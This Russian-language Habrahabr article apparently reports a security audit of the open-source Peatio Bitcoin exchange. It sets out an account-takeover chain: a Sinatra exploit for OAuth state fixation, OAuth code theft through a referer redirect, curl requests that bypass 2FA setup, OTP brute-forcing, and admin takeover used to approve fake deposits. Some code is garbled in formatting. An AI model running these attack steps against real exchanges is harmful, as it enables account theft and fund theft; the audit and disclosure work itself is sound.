Взлом биткоин биржи на Rails

В последнее время появилась масса биткоин сервисов. И то что раньше было проектом «for fun» неожиданно стало хранить десятки и даже сотни тысяч долларов. Цена биткоина выросла, но уровень безопасности биткоин сервисов остался таким же низким.Ради портфолио мы провели бесплатный аудит биткоин биржи с открытым кодом Peatio использующей Ruby on Rails. Репорт в pdf можно скачать тут. Самое интересное что в результате нашлись не очередные унылые рейс кондишены или SQLi, а довольно таки любопытная цепочка багов ведущая к угону аккаунта и краже существенной части горячего кошелька.

Угон аккаунтаimageВ глаза сразу бросается «Вход через Weibo» (это у китайцев популярная социалка). Если почитать шпаргалку по безопасности OAuth становится очевидно, там где OAuth там и угон аккаунта.

Присоединение Вейбо атакующего к аккаунту жертвыВ omniauth-weibo-oauth2 был баг фиксирующий state. state это важный параметр для защиты от CSRF, и защита от него была встроена (не сразу, конечно) в omniauth. Вот только строчка

session['omniauth.state'] = params[: state] if v == 'state' выключала эту защиту, вставляя в session['omniauth.state'] значение из GET параметра. Теперь можно зафиксировать state=123 и использовать code выпущенный для вейбо атакующего. Пример эксплуатации: require 'sinatra' get '' do

conn = Faraday.new (: url => 'https://api.weibo.com') new_url = conn.get do |r| r.url »/oauth2/authorize? client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123»

r.headers['Cookie'] =<

r.options.timeout = 4 r.options.open_timeout = 2 end.headers[«Location»] redirect new_url end

get '/peatio_demo' do response.headers['Content-Security-Policy'] = «img-src 'self' https://yunbi.com» »» end В результате мы имеем вейбо атакующего подключенным к аккаунты жертвы на бирже, и можем в него зайти напрямую.А если Вейбо уже подключен у жертвы? Второй аккаунт подключить нельзя, поэтому надо найти способ украсть code для текущего вейбо жертвы.Вейбо не привязывает code к redirect_uri (что само по себе грубая ошибка, но зарепортить китайцам я не смог), а значит найдя страницу сливающую код через рефереры мы достигнем цели. Поиски такой страницы как и опен редиректа не увенчались успехом, но в самом конце интересная строчка в DocumentsController спасла положение:

if not @doc redirect_to (request.referer || root_path) return end Если документ не найден то происходит редирект на request.referer, а значит следующая цепочка редиректов сольет код:1. attacker_page редиректит на weibo.com/authorize?…redirect_uri=http://app/documents/not_existing_doc%23…2. Weibo неправильно парсит redirect_uri c %23 и редиректит жертву на app/documents/not_existing_doc#? code=VALID_CODE3. Peatio не может найти not_existing_doc и возвращает Location заголовок равный текущему request.referer который все еще attacker_page (браузер его продолжает слать с самого начала)4. Браузер копирует фрагмент #? code=VALID_CODE и загружает attacker_page#? code=VALID_CODE. Теперь код на странице может прочитать VALID_CODE через location.hash и загрузить настоящий app/auth/weibo/callback? code=VALID_CODE чтобы зайти в аккаунт жертвы на бирже.

Итак, мы угнали аккаунт у пользователей с Вейбо и даже без. Но дальше нас останавливает двух-факторная аутенфикация.

Обход 2FA Peatio из коробки заставляет всех пользователей использовать Google Authenticator и/или SMS коды для важных функций (вывод биткоинов). А значит нам так или иначе нужно найти способ обхода.Если у жертвы включен только Google AuthenticatorimageВ SmsAuthsController была серьезная ошибка — фильтр two_factor_required! вызывался только для экшена show, но не для экшена update который то и был ответственен за подключение SMS 2FA. before_action: auth_member! before_action: find_sms_auth before_action: activated? before_action: two_factor_required!, only: [: show]

def show @phone_number = Phonelib.parse (current_user.phone_number).national end

def update if params[: commit] == 'send_code' send_code_phase else verify_code_phase end end А значит минуя запросы на show мы шлем запросы напрямую в update: curl «http://app/verify/sms_auth» -H «X-CSRF-Token: ZPwrQuLJ3×7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=» -H «Cookie:_peatio_session=SID» –data »_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code»imagecurl «http://app/verify/sms_auth» -H «X-CSRF-Token: ZPwrQuLJ3×7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=» -H «Cookie:_peatio_session=SID» –data »_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED»imageПри подключении SMS 2FA мы можем получать коды на наш номер и выводить биткоины на свой адрес.Если у жертвы SMS и AuthenticatorЕсли жертва-параноик подключила оба метода 2FA то работа становится чуть сложнее. Система уязвима к брутофорсу 2FA кодов, другими словами её очень легко обойти. В отличии от обычного пароля, где 36^8+ вариантов, в одноразовом коде всего 1 миллион вариантов. Трех дней достаточно чтобы спокойно его угадать. Можете посчитать на OTP Bruteforce Calculator сами: imageБез защиты от брута 2FA не имеет смысла, вот прямо совсем. Распространенное заблуждение, кстати, что 30-секундное окно делает брутофорс сложнее. На самом деле разницы практически нет, что 1 секунду что 24 часа этот код активен, 3 дня будет достаточно.

Если только SMS 2FAЭто выглядит как самый сложный вариант — ведь брутофорсить незаметно не получится и жертва сразу заметит подозрительные SMS на свой номер. Однако, очередная ошибка в коде нам поможет:

def two_factor_by_type current_user.two_factors.by_type (params[: id]) end В данном методе не используется скоуп «activated», а значит можно продолжать брутофорсить 2FA типа Google Authenticator как и в предыдущем случае, несмотря на то что он никогда не был активирован, ведь seed у него уже сгенерирован! Атакуем админа Теперь когда мы научились угонять и обходить 2FA для любого пользователя попробуем применить полученный эксплоит с умом. Мы не будем охотиться за юзерами, а сразу напишем такой тикет админу «What is wrong with my account can you please check? i.will.hack.you/now». После посещения этой страницы наш скрипт угонит админский аккаунт.imageК сожалению, выяснилось что админ практически ничего не может. Нет функций «послать все биткоины на Х» или «добавить У биткоинов этому юзеру». Единственная зацепка это возможность одобрения фиат депозитов сделанных юзерами. А значит мы можем создать депозит на много денег и сами его одобрить: imageДальше мы можем скупить все доступные на ордерах биткоины и моментально их вывести (моментально только потому что мы и есть админ и сами же одобрим свой Withdraw запрос, выводы в обменке делаются вручную!). Но куда больше профита имхо принесет вариант когда мы будем тихонько пить кровь из биржи неделю-другую.Мораль: 1. Никогда не добавляйте вход через социалки в важные сайты. В них есть слишком много идеологических изъянов, поэтому лучше вообще не связываться.2. Если уж и решили делать двух-факторную авторизацию, делайте правильно с самого начала — четко проследите порядок действий для добавления нового метода и предотвратите брутофорс путем блокировки аккаунта после N попыток.3. Создавайте отдельного Суперадмина с функцией вливания произвольного числа денег в систему. Он не должен иметь возможности читать тикеты и вообще этот аккаунт надо хранить как зеницу ока.Спасибо за внимание, и если вы хотите обезопасить свой сервис, вы знаете к кому обратиться.

© Habrahabr.ru